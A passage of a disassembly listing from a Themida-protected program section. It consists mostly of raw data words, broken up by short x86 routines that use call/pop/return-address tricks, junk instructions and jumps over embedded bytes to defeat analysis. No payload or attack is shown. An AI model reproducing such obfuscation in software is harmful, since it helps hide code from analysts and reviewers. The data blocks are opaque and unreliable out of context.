		dd 0C000000h, 0E4661B1Eh, 6D5D31E8h, 0B854AEE7h, 79EB8166h
		dd 0FFA58363h, 0FEFFFFFFh, 0D9D8BF8h, 89061420h, 4E4995h
		dd 85BE6044h, 89644048h, 141D6195h, 0E96106h, 8D000000h
		dd 188C5FB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0F27C38ADh, 6AF98Bh, 909BD29h, 0FD8A0614h
		dd 116995FFh, 0BE80614h, 0C0000000h, 0D424BC62h, 16BB1478h
		dd 5BFC81FBh, 0ED4B9h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0FA0140BDh, 0F7D471C9h
		dd 6AFCE183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0F9FCC356h, 0FC59F6Eh,	0B8Bh
		dd 6E900h, 7B2F0000h, 0D37CA7DAh, 819D89FCh, 2B06140Ch
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 623013Bh, 49858959h, 2B06142Ch, 1DB589D2h
		dd 6006142Bh, 631BD8Bh,	4CBB0614h, 613B56A6h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0DE30BF66h, 2561B529h, 880D0614h
		dd 66000000h, 8BD3A3BBh, 14322995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F4EB7E2h
		dd 8D8BFBB7h, 614064Dh,	2B05BD8Bh, 8B500614h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 81C35141h, 499D8B27h, 0F061404h
		dd 0BD83FEBFh, 61429ADh, 5C840F00h, 8B000000h, 1421299Dh
		dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 6E55ADC3h, 65B31643h, 935B589h
		dd 0DF8B0614h, 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0FF3BF9C3h, 83D7B7E1h
		dd 142671BDh, 840F0006h, 41Fh, 302D9D8Bh, 0BD830614h, 6142671h
		dd 27840F01h, 0F000004h, 0BD83FFB7h, 6142671h, 0E1860F03h
		dd 8B000003h, 8C6660DFh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 4E180C9h, 8FDBD89h, 0C90A0614h
		dd 14C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0C4FDA0C3h, 8BAC4235h, 142B999Dh
		dd 25BD8B06h, 57061408h, 0FE8h,	6D16D500h, 0E184BA32h
		dd 0DABFA2BDh, 5D33C453h, 5BD98B66h, 69858B5Fh,	0E9061419h
		dd 9, 6388631Ch, 993E69D4h, 818533A3h, 0B706141Bh, 0BF6650BFh
		dd 489F3DDh, 0BDB53124h, 6A061421h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 681930BBh
		dd 0D1C706E6h, 11E9h, 0F1CEA600h, 6080859Dh, 98A706D9h
		dd 90229DFCh, 481DBBDh,	57FD1924h, 56006A2Eh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0F24E564Fh
		dd 89C5D593h, 140D0DBDh, 0AD95FF06h, 6A061409h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0F93CC351h, 290E072Eh, 14106D8Dh, 1BD8B06h, 8906140Dh
		dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0D2126155h, 0E9B1B73Bh, 7, 74895F71h
		dd 0E9988D60h, 1F1h, 0D18D89h, 858B0614h, 617AA90h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0F2C35343h, 0BE82B6Fh
		dd 5000000h, 80FF808Ah,	444681Ah, 0FE9B389h, 0A5000000h
		dd 0E2E5C804h, 69855C3Eh, 0B776E22Dh, 0C75BBF02h, 1800h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0CCC16018h, 0B2BA78CAh, 0DF8BC05Fh, 0AA94B58Bh
		dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 25963FC3h, 2B059D89h, 858B0614h, 6140B29h
		dd 6860Fh, 0BD890000h, 6140B09h, 8E90689h, 97000000h, 1FF0715h
		dd 8B1F153Fh, 14196985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0AD19828Bh, 0BD1BD8Bh
		dd 46890614h, 0FFB70F04h, 188F0F96h, 0E8000000h, 10h, 67209FE3h
		dd 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh, 505BB5B7h, 96DE8B66h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6FC35040h
		dd 61612294h, 90B5FFE6h, 6A0617AAh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D8CEC357h
		dd 1278F2E5h, 0BD898BC3h, 6143215h, 218DB589h, 0E9680614h
		dd 56DE385Eh, 5BDA8B66h, 16240481h, 8921E6A5h, 142BD1BDh
		dd 98858D06h, 6A0617AAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2C4DC351h, 14C7C790h
		dd 66C14248h, 50E844BFh, 73CC2ABBh, 24048928h, 29919D8Bh
		dd 95FF0614h, 61409ADh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 81C35747h, 0BCE59ACEh, 10C4BCBFh, 9D89612Fh
		dd 61424A5h, 267185C7h,	30614h,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F29C24C3h
		dd 14D19D33h, 0BD830614h, 617AA98h, 35840F00h, 8B000000h
		dd 142C7DBDh, 45E906h, 6A0000h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0D75DEC3h, 0B5C47D2Ah, 0B7E37094h, 0DF8B661Eh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 31E7C356h, 9495C22h,	1415C99Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 80629C74h
		dd 74549A67h, 2671BD83h, 0F030614h, 42385h, 68C0F00h, 81000000h
		dd 0BF37E4EBh, 98BD8336h, 617AAh, 40A840Fh, 0B70F0000h
		dd 95BD8BF8h, 0FF06142Eh, 17AA98B5h, 7DE1BF06h,	95FF0933h
		dd 6142AF5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	42C35040h, 9531F33Dh, 6140A49h,	0AA8CB58Bh, 0CB800617h
		dd 106C735h, 6A000100h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 6E72C352h, 0CE862h
		dd 8D250000h, 0FD953A8Bh, 0C435FEE7h, 6660CF2Dh, 5621EAB8h
		dd 895B6158h, 1425ADBDh, 8B665006h, 243489F8h, 921BD8Bh
		dd 0B5FF0614h, 617AA98h, 0FFFC70B7h, 140B3195h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 9C1ACC71h, 671B531h,	0B58B0614h, 617AA8Ch, 0B5315F56h
		dd 6142FADh, 21D5858Bh,	81660614h, 891D52EFh, 0C486h, 68F0F00h
		dd 89000000h, 142599BDh, 29958B06h, 0FC061432h,	6A04C283h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 733AC351h, 50896FD0h, 56006A20h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B67081F4h
		dd 0A1E04FDCh, 9D8BE698h, 61403ADh, 799D0360h, 89061423h
		dd 142E959Dh, 858D6106h, 617BE06h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0D4C35646h,	8E99Fh,	0E2E60000h
		dd 0EA585681h, 8689B440h, 0B8h,	649BD09h, 6A0614h, 22898D89h
		dd 0B5FF0614h, 617AA98h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 43C35747h, 0BD5C56ADh, 6559830Fh, 9D8BFC88h
		dd 614085Dh, 93995FFh, 0B5890614h, 614035Dh, 8880F96h
		dd 0F000000h, 28Ch, 50616000h, 2850Fh, 0FD8A0000h, 0C59D8B96h
		dd 0FF061418h, 17AA98B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 11800FEDh
		dd 0E9000000h, 0Ch, 488D10FBh, 331D16C5h, 5BFDE144h, 20F595FFh
		dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0E01F3AC3h, 29921951h, 7DBD2384h,	8B06141Dh
		dd 142B8DBDh, 21BD8306h, 6140Ch, 82840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 86D6B6C3h, 97C1AD84h, 30F1B509h, 0E8500614h,	6, 841E9FA1h
		dd 11E95005h, 2000000h,	7FDA63E6h, 0D5D31AADh, 0A2E58885h
		dd 4BF58D17h, 2434895Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 0B8C35646h, 622B7811h, 0E9DF8B66h, 0Ch
		dd 12A2EEB4h, 430E8ED5h, 5C881676h, 0AA98B5FFh,	6A0617h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 40C18CC3h, 0A14BEAE5h, 0FFDF8B11h, 1402B195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 3F25694Dh, 0BD89D8A9h, 614318Dh, 0AA98B5FFh,	6A0617h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7C4AB6C3h, 0B8B6BB66h, 308195FFh, 14E90614h,	0EC000000h
		dd 0EE777A9Ch, 0C300C7C3h, 775B2631h, 2D1F9E9h,	83D969C9h
		dd 1409F5BDh, 840F0206h, 34h, 0D4D9589h, 858B0614h, 6142D01h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DCC35242h
		dd 0A9831F93h, 0C67B64h, 74E78000h, 244D85C7h, 614h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0EB937C3h, 9D89D434h, 614251Dh, 0FFF3A8E9h, 0DE9FFh
		dd 0DF080000h, 0C200C014h, 0B78FFA97h, 8B5D91D5h, 51006AC1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 2F972DBCh, 92DB2461h, 64BB14E3h
		db 0DCh, 0D6h, 68h
; ---------------------------------------------------------------------------


loc_59A6BB:				; CODE XREF: Themida_:loc_599981j
		lea	eax, [ebp+6140F99h]
		push	0
		push	ecx
		call	sub_59A6CC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A6CC	proc near		; CODE XREF: Themida_:0059A6C4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_59A6CC	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0B78D9900h
		retn
; ---------------------------------------------------------------------------
		push	eax


loc_59A6E3:				; CODE XREF: Themida_:0059A712j
		jmp	loc_59A6F0
; ---------------------------------------------------------------------------
		dd 0E02D2768h, 0D61BEE5Fh
; ---------------------------------------------------------------------------


loc_59A6F0:				; CODE XREF: Themida_:loc_59A6E3j
		mov	[esp], eax
		push	0
		push	0
		push	edx
		call	sub_59A700
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A700	proc near		; CODE XREF: Themida_:0059A6F8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_59A700	endp

; ---------------------------------------------------------------------------
		stc
		push	cs
		jz	short loc_59A6E3
		cmpsb
		mov	edi, [ebp+6140969h]
		push	0
		push	0
		push	edi
		call	sub_59A728
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A728	proc near		; CODE XREF: Themida_:0059A720p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_59A728	endp

; ---------------------------------------------------------------------------
		mov	ch, 65h
		mov	ebx, [ebp+614321Dh]
		and	di, 917Bh
		lea	eax, [ebp+6191D57h]
		mov	di, ax
		add	eax, 5
		push	0
		push	eax
		call	sub_59A75C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A75C	proc near		; CODE XREF: Themida_:0059A754p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_59A75C	endp

; ---------------------------------------------------------------------------
		movsb
		mov	esi, 693DB07Dh
		xor	eax, 669617D5h
		mov	edi, 0B790ABEFh
		db	3Eh
		push	eax
		pusha
		jno	loc_59A790
		jmp	loc_59A790
; ---------------------------------------------------------------------------
		dw 0A879h
		dd 0ED976B14h
; ---------------------------------------------------------------------------


loc_59A790:				; CODE XREF: Themida_:0059A77Fj
					; Themida_:0059A785j
		popa
		nop
		sub	[ebp+6142B05h],	edi
		jmp	loc_59A7A2
; ---------------------------------------------------------------------------
		db 0DBh, 1Eh, 68h
		db 28h,	6Bh
; ---------------------------------------------------------------------------


loc_59A7A2:				; CODE XREF: Themida_:0059A798j
		push	0
		mov	edi, [ebp+61404DDh]
		push	0
		push	0
		push	esi
		call	sub_59A7B7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A7B7	proc near		; CODE XREF: Themida_:0059A7AFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_59A7B7	endp

; ---------------------------------------------------------------------------
		xor	[ebx-1Bh], edx
		fstp	tbyte ptr [ebp-1]
		xchg	eax, ebp
		jno	short loc_59A7EA
		adc	al, 6
		push	0
		push	eax
		call	sub_59A7DD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A7DD	proc near		; CODE XREF: Themida_:0059A7D5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h


loc_59A7EA:				; CODE XREF: Themida_:0059A7CEj
		inc	eax
		push	eax
		retn
sub_59A7DD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	cl, dh
		dec	ebp
		push	cs
		inc	eax
		push	4C18589h
		adc	al, 6
		lea	ecx, [ebp+617A8FCh]
		push	0
		push	edx
		call	sub_59A80A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A80A	proc near		; CODE XREF: Themida_:0059A802p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_59A80A	endp

; ---------------------------------------------------------------------------
		dw 9BABh
		dd 8DB13963h, 0C23803DFh, 8880Fh, 89600000h, 1434BD8Dh
		dd 0D1FF6106h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	9BC35141h, 847995DEh, 0BD83FA5Eh, 61412CDh, 0D3850F01h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E93FC353h, 10h, 9D31281Eh, 6D11A745h
		dd 0CC29EAB3h, 0C4A92332h, 0F98B6652h, 6A026A5Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 6F63C355h, 66B78AF2h, 7E87598h, 0C4000000h, 0F2B08CE0h
		dd 8B66DD55h, 0E9505BF8h, 5, 0B769EFC9h, 2404897Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4C35343h, 6178B73Ch
		dd 0E971DE9Fh, 6, 76A1E0Dh, 0BB667B0Ah,	95FFCC92h, 6140939h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CEC35747h
		dd 0DD43CBEDh, 0D2E9D5B3h, 0E800000Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6191D61h
		push	0
		push	edx
		call	sub_59A952
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A952	proc near		; CODE XREF: Themida_:0059A94Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_59A952	endp

; ---------------------------------------------------------------------------
		dw 0E26Bh
; ---------------------------------------------------------------------------
		push	esp
		fsub	qword ptr [ebp-23h]
		movsx	ebx, si
		mov	ebx, 5D2D9014h
		lea	eax, [ebp+6179623h]
		movsx	edi, cx
		push	eax
		jnp	loc_59A985
		mov	edi, 3E9551C7h


loc_59A985:				; CODE XREF: Themida_:0059A97Aj
		mov	[esp], eax
		push	large dword ptr	fs:0
		push	0
		push	ecx
		call	sub_59A99A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A99A	proc near		; CODE XREF: Themida_:0059A992p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_59A99A	endp

; ---------------------------------------------------------------------------
		lea	edx, [ebx]
		or	[eax-2Fh], ah
		retf
; ---------------------------------------------------------------------------
		dd 0CE826F7h, 54000000h, 7D49A113h, 848AA61h, 89DBEE1Fh
		dd 14052585h, 89645B06h, 25h, 0CB816600h, 9589BE2Ch, 61434D1h
		dd 236D85FFh, 7E90614h,	31000000h, 0C197EF77h, 6AFCB5D9h
		dd 0B99D8BFFh, 8B06142Ah, 140379BDh, 95B5FF06h,	6A06142Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 128EC355h, 397E6189h, 74DC3586h, 0FF88C380h
		dd 142B1995h, 0D7E906h,	0BF0F0000h, 6600B0DBh, 0CD66F781h
		dd 0E4F570E6h, 95EF8071h, 830F613Ch, 0BDh, 8BC8B60Fh, 1430E99Dh
		dd 6BA06h, 0F3B30000h, 1D719D8Bh, 0C18B0614h, 0D9816660h
		dd 0BA662FB3h, 0C161FCB8h, 0E96004E8h, 10h, 0F833712Eh
		dd 0A00FC4DFh, 18C35979h, 7B1D3F6h, 1635B589h, 66610614h
		dd 0BD8BE2F7h, 6140335h, 0D18BC82Bh, 25CD8531h,	62E90614h
		dd 89000000h, 14266DBDh, 4C858B06h, 29505F4Ch, 1409FD85h
		dd 7C08306h, 0BB00C083h, 4F562C78h, 830FD03Bh, 9, 37E9F9h
		dd 8AF90000h, 0FF8D8BDAh, 83FFFFFFh, 840F01E1h,	25h, 1FB5BD31h
		dd 0A5830614h, 0FFFFFFFFh, 9D0BF9FEh, 6140825h,	4C4C9589h
		dd 9D89505Fh, 6140C1Dh,	0E9h, 33B58D00h, 6A06189Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8A3CC350h, 0FA8B66D9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0FFF886C3h, 14116995h
		dd 6890F06h, 2B000000h,	141939BDh, 1DB52906h, 0B9061406h
		dd 105Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	6DC35646h, 2A558531h, 0E1830614h, 55006AFCh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 1DFA3D73h, 59B501FCh, 2B06142Ah, 0BAC0h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 440961C3h, 9D29D757h, 61415FDh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0C9C35242h, 0CC2137BFh,	50006A72h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 1F9ECAC2h
		dd 880D0924h, 8B000000h, 29958BD8h, 89061432h, 142ED9B5h
		dd 4D8D8B06h, 6A061406h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 9C62C353h, 0A20BA410h
		dd 0E91CD28Dh, 0Dh, 54348E9Bh, 356584FEh, 0AC5E479h, 1CBF6631h
		dd 0C28B5086h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F958188Bh
		dd 29ADBD83h, 0F000614h, 1984h,	0B8F900h, 66000000h, 8DBBA5BFh
		dd 144D798Dh, 0DB816606h, 0E1FF2C58h, 0BD83DF8Bh, 6142671h
		dd 0A8840F00h, 8B000004h, 1406BD9Dh, 8E906h, 9DE90000h
		dd 5794420Dh, 0BD832227h, 6142671h, 0A3840F01h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 6781C355h, 665CDF81h, 0BD833984h,	6142671h
		dd 3D860F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 896FC355h, 1419AD9Dh
		dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0F3BB9FC3h, 0C14BCA51h, 0B531FC85h, 614084Dh
		dd 0F8D98C66h, 8B04E180h, 142C85BDh, 0FC90A06h,	1C784h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8A60E046h, 61D18BF8h, 1969858Bh,	6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0FED542C3h, 4001061Bh, 0E2040BBh, 8185337Ah,	6A06141Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 76D9C352h, 77480FDCh, 0E998A22Ch,	0Ah, 0E8D59C3Dh
		dd 0F464878h, 50504012h, 0E8525052h, 0Eh, 24233FDFh, 0E2B9E30Dh
		dd 0D5EA078Ah, 0F5B1BD6h, 5AFE8B31h, 0E8310F58h, 5, 69740082h
		dd 870F9Eh, 5F000000h, 489585Ah, 0C1BD2324h, 6A06142Bh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 51FC2CD9h, 89624BFDh, 14310D95h,	9CF06806h
		dd 505376C7h, 810F52h, 0F000000h, 10E831h, 0B05C0000h
		dd 106CA522h, 0F99904D4h, 0D647B7A1h, 5A5F20E5h, 34815F58h
		dd 0D89F0F24h, 55006A76h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 3F3210BAh, 0CF81661Ch
		dd 95FF90CBh, 61409ADh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9AC35545h, 0A830F90h,	60000000h, 4D9B52Bh
		dd 0EE8A0614h, 258D2961h, 89061402h, 17AA9885h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0FF107D5Eh, 0B8E9B090h, 6A000001h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 6D24C352h
		dd 0AA90858Bh, 6A0617h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 806E40C3h, 8F8E04F3h, 0B65218BBh
		dd 9985016Dh, 0C7061409h, 1800h, 0DE8B6600h, 1B99BD89h
		dd 0B58B0614h, 617AA94h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 1FC35747h, 8B52C21Dh,	140B2985h, 819D2906h
		dd 89061407h, 0D59D2306h, 8B06141Ch, 14196985h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0FE220B24h, 0EAB0344Ah, 6A044689h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F54EC352h
		dd 22D4C6CEh, 8973B750h, 66562434h, 5FEDDFBBh, 90B5FFFCh
		dd 8B0617AAh, 1421F5BDh, 0A54C6806h, 6E824F1h, 70000000h
		dd 691FB956h, 6ABB66C7h, 34815F16h, 0EEA6B324h,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 98858D0Dh, 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8964C357h, 140839BDh
		dd 9D9D8B06h, 50061408h, 0CE9h,	0F141C00h, 9DCD9470h, 0B47DDA89h
		dd 240489ECh, 0C830Fh, 8D0F0000h, 6, 1A899589h,	0B5890614h
		dd 6141B6Dh, 9AD95FFh, 6A0614h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 500972C3h, 615BDC8Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 78C35242h
		dd 5E6934E9h, 661BACC5h, 0C7BA30BFh, 14267185h,	306h, 0FDB50900h
		dd 83061425h, 17AA98BDh, 840F0006h, 34h, 5FF98B57h, 46E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0BF724BEDh, 0F21AE6Ah, 8589DFB7h, 6141535h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h
		dd 0BD8BFA8Bh, 6142515h, 83FBB70Fh, 142671BDh, 850F0306h
		dd 3F5h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 19h,	0B3C35141h, 682132AAh, 0DB816635h, 0BD833CEFh
		dd 617AA98h, 0C2840F00h, 81000003h, 0E0CF98C7h,	79BD8B4Ah
		dd 0FF061431h, 17AA98B5h, 68A0F06h, 29000000h, 14321595h
		dd 0F595FF06h, 106142Ah, 141B1DB5h, 8CB58B06h, 0B30617AAh
		dd 106C748h, 0E9000100h, 9, 3CBE553Dh, 4C15DAB1h, 57C381ACh
		dd 5028EE45h, 3489F98Ah, 0BD8BF824h, 614322Dh, 0AA98B5FFh
		dd 8D890617h, 6140031h,	0B3195FFh, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 81B814C3h
		dd 7B41E4DBh, 0B58BF96Bh, 617AA8Ch, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 49C35242h, 59BD8B67h, 8906140Ch
		dd 14142D95h, 0D5858B06h, 0F061421h, 687h, 0A0CF8100h
		dd 8919022Fh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 958BBE3Ch, 6143229h, 28E0Fh
		dd 0DD8A0000h, 83F88B66h, 9D8B04C2h, 6142989h, 0F5205089h
		dd 291B589h, 858D0614h,	617BE06h, 17880Fh, 12E90000h, 2E000000h
		dd 0D54EA313h, 2DD88652h, 3A9F5D9Bh, 717948B1h,	0B88689E4h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0F301C357h, 17A159B7h,	0BD8B2D82h
		dd 6141711h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FF0569C3h, 17AA98B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 4DC78198h, 0FF4C46D0h, 14093995h, 53609606h,	6658C88Bh
		dd 6178EEBFh, 50606050h, 5A310F52h, 0FE858h, 16CB0000h
		dd 0F98412CBh, 640941A6h, 0F04AD2DBh, 0F615ACBh, 28Fh
		dd 61616000h, 0B5FFF596h, 617AA98h, 21F5BD8Bh, 95FF0614h
		dd 61420F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0C9C35040h, 75201DC5h, 0C21BD83h, 0F000614h, 8484h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
